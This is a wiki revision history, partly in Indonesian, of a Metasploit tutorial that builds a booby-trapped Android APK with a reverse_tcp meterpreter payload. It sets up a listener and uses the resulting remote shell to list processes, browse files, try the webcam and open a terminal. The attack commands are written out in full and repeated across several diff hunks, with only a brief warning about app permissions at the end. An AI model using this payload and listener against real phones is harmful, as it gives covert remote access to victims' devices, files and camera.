MSF: Dapatkan remote shell android - Revision history

Onnowpurbo at 22:54, 31 May 2017

2017-05-31T22:54:58Z

Onnowpurbo: /* Di sisi Kali Linux */

2017-05-29T08:43:38Z

Di sisi Kali Linux

Onnowpurbo: /* Di sisi Kali Linux */

2017-05-29T08:34:04Z

Di sisi Kali Linux

Onnowpurbo at 00:52, 16 April 2017

2017-04-16T00:52:49Z

Onnowpurbo at 23:55, 15 April 2017

2017-04-15T23:55:12Z

Onnowpurbo: Created page with "sumber: http://www.infosecisland.com/blogview/23632-Getting-a-Remote-Shell-on-an-Android-Device-using-Metasploit.html Metasploit is one of my favorite security tools. What s..."

2017-04-15T10:02:03Z

Created page with "sumber: http://www.infosecisland.com/blogview/23632-Getting-a-Remote-Shell-on-an-Android-Device-using-Metasploit.html Metasploit is one of my favorite security tools. What s..."

New page

sumber: http://www.infosecisland.com/blogview/23632-Getting-a-Remote-Shell-on-an-Android-Device-using-Metasploit.html

Metasploit is one of my favorite security tools. What some don’t know is that Metasploit has added some functionality for security testing Android Devices. In this post we will show you how to get a remote shell on an Android by using Metasploit in Kali Linux.

We will do this by creating a “malicious” Android program file, an APK file, so that once it is run, it will connect out to our attacking machine running Metasploit. We will set Metasploit up to listen for the incoming connection and once it sees it, create a fully functional remote shell to the device.
Creating a booby trapped APK file

First up, we need to create the APK that will include a remote shell. To do so, we will use the msfpayload command from Metasploit.

1. In Kali Linux, open a terminal prompt and type:

sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk

Android App

The msfpayload command takes one of the meterpreter payloads and allows you to create a stand alone file with it. You will need to put your Kali Linux IP address in for the LHOST address. You can change the port address also if you would like.

Once this is run, a file called “app.apk” will be created:

List File

2. Now just send this file to your Android device, I used a Smart Phone in this instance.

3. When the file is installing on the Android, it will come up like all apps and show you what capabilities it wants access to on your phone. It lists like every possibility I think, basically total access to the phone. This should be a warning to users that this isn’t an app that they should be running!

Now that the “evil” app is installed, we need to set Metasploit up to listen for incoming connections.

4. In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.

5. Once Metasploit starts, type in the following to create a listener:

user exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.16 (enter your Kali IP address)
set lport 4444

Then just type exploit to start the handler:

exploit1

6. Run the App on your Android device. It should show up as a big “M” icon with a name something like “Main Activity”.

7. A big button will appear on your phone that says, “ReverseTcp”, when it is pressed, your phone will connect out to the Metasploit system and a remote shell session is created.

On your Metaploit system you should see this:

Reverse TCP session

An active session is created and it drops you automatically into a meterpreter prompt.

8. From here your can type “sysinfo” to get information on the device:

sysinfo

9. You can see the processes running by typing, “ps”:

PS command

You can surf the Android device remotely by using standard Linux commands like ls, pwd, and cd. The Download directory usually has interesting things in it.

Though it errored out on mine, you can type “webcam_list” to get a list of the phone’s web cams, then “webcam_snap” to take a snapshot from the webcam.

Typing “help” at a meterpreter prompt will list all the command that are available.

We can also run the shell command that will drop us into a direct Terminal shell if we want:
meterpreter > shell
Process 1 created.
Channel 1 created.
ls

The Android phone in this example was not rooted, so I could not access the stored passwords, texts or phone logs.

But if the phone was rooted, I should have been able to access them… Remotely…

This should be noted by people who have rooted their phone!

And that is it! One wrong app installed by a user and an attacker could get remote access to your phone or other Android device. Did I mention that the phone was running an Anti-Virus program from a major vendor? It had no problems with letting my remote shell run…

Pay special attention to the rights and capabilities that an app wants when installing new apps. If a game wants full access to your phone, including the ability to make pay phone calls, this should be a red flag.

What’s next with Android support on Meterpreter?

Well, it is not “officially” supported yet, but there is an extension available to Meterpreter that allows several new Android based commands:

Pretty amazing stuff!

==Referensi==

* http://www.infosecisland.com/blogview/23632-Getting-a-Remote-Shell-on-an-Android-Device-using-Metasploit.html

@@ Line 5: / Line 5: @@
 Buat APK dengan kemampuan remote shell. Gunakan perintah msfpayload. Di Kali Linux, lakukan
-  sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk
+  sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk
 Masukan IP address Kali Linux & Port-nya.
-Setelah perintah di atas di jalankan, maka akan dibuat file app.apk.
+==Di sisi smartphone==
@@ Line 28: / Line 30: @@
   exploit1
-==Di sisi Android==
+==Attack==
-Well, it is not “officially” supported yet, but there is an extension available to Meterpreter that allows several new Android based commands:
+ sysinfo - informasi tentang device
 ==Referensi==
 * http://www.infosecisland.com/blogview/23632-Getting-a-Remote-Shell-on-an-Android-Device-using-Metasploit.html

@@ Line 26: / Line 26: @@
   set lhost 192.168.1.16 (enter your Kali IP address)
   set lport 4444
-Then just type exploit to start the handler:
+==Di sisi Android==
 . Run the App on your Android device. It should show up as a big “M” icon with a name something like “Main Activity”.

@@ Line 16: / Line 16: @@
 ==Di sisi Kali Linux==
-. In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.
+Jalankan perintah
   user exploit/multi/handler
@@ Line 77: / Line 77: @@
 Pretty amazing stuff!
 ==Referensi==
 * http://www.infosecisland.com/blogview/23632-Getting-a-Remote-Shell-on-an-Android-Device-using-Metasploit.html

@@ Line 1: / Line 1: @@
 sumber: http://www.infosecisland.com/blogview/23632-Getting-a-Remote-Shell-on-an-Android-Device-using-Metasploit.html
- Metasploit is one of my favorite security tools. What some don’t know is that Metasploit has added some functionality for security testing Android Devices. In this post we will show you how to get a remote shell on an Android by using Metasploit in Kali Linux.
+==Membuat booby trapped APK file==
-We will do this by creating a “malicious” Android program file, an APK file, so that once it is run, it will connect out to our attacking machine running Metasploit. We will set Metasploit up to listen for the incoming connection and once it sees it, create a fully functional remote shell to the device.
+Buat APK dengan kemampuan remote shell. Gunakan perintah msfpayload. Di Kali Linux, lakukan
   sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk
-Android App
+Masukan IP address Kali Linux & Port-nya.
-The msfpayload command takes one of the meterpreter payloads and allows you to create a stand alone file with it. You will need to put your Kali Linux IP address in for the LHOST address. You can change the port address also if you would like.
+Setelah perintah di atas di jalankan, maka akan dibuat file app.apk.
-Once this is run, a file called “app.apk” will be created:
+Copy / kirim file app.apk di Android device. Install apk tersebut, akan ada warning ke user bahwa "apk tersebut dari unknown source".
-. Now just send this file to your Android device, I used a Smart Phone in this instance.
+==Di sisi Kali Linux==
 . In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.

@@ Line 10: / Line 10: @@
 . In Kali Linux, open a terminal prompt and type:
-sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk
+ sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk
 Android App
@@ Line 30: / Line 30: @@
 . Once Metasploit starts, type in the following to create a listener:
-    user exploit/multi/handler
+ user exploit/multi/handler
-    set payload android/meterpreter/reverse_tcp
+ set payload android/meterpreter/reverse_tcp
-    set lhost 192.168.1.16 (enter your Kali IP address)
+ set lhost 192.168.1.16 (enter your Kali IP address)
-    set lport 4444
+ set lport 4444
 Then just type exploit to start the handler:
@@ Line 51: / Line 51: @@
 . From here your can type “sysinfo” to get information on the device:
-sysinfo
+ sysinfo
 . You can see the processes running by typing, “ps”:
-PS command
+ PS command
 You can surf the Android device remotely by using standard Linux commands like ls, pwd, and cd. The Download directory usually has interesting things in it.
@@ Line 64: / Line 64: @@
 We can also run the shell command that will drop us into a direct Terminal shell if we want:
 meterpreter > shell
-Process 1 created.
+ meterpreter > shell
-Channel 1 created.
+ Process 1 created.
-ls
+ Channel 1 created.
 The Android phone in this example was not rooted, so I could not access the stored passwords, texts or phone logs.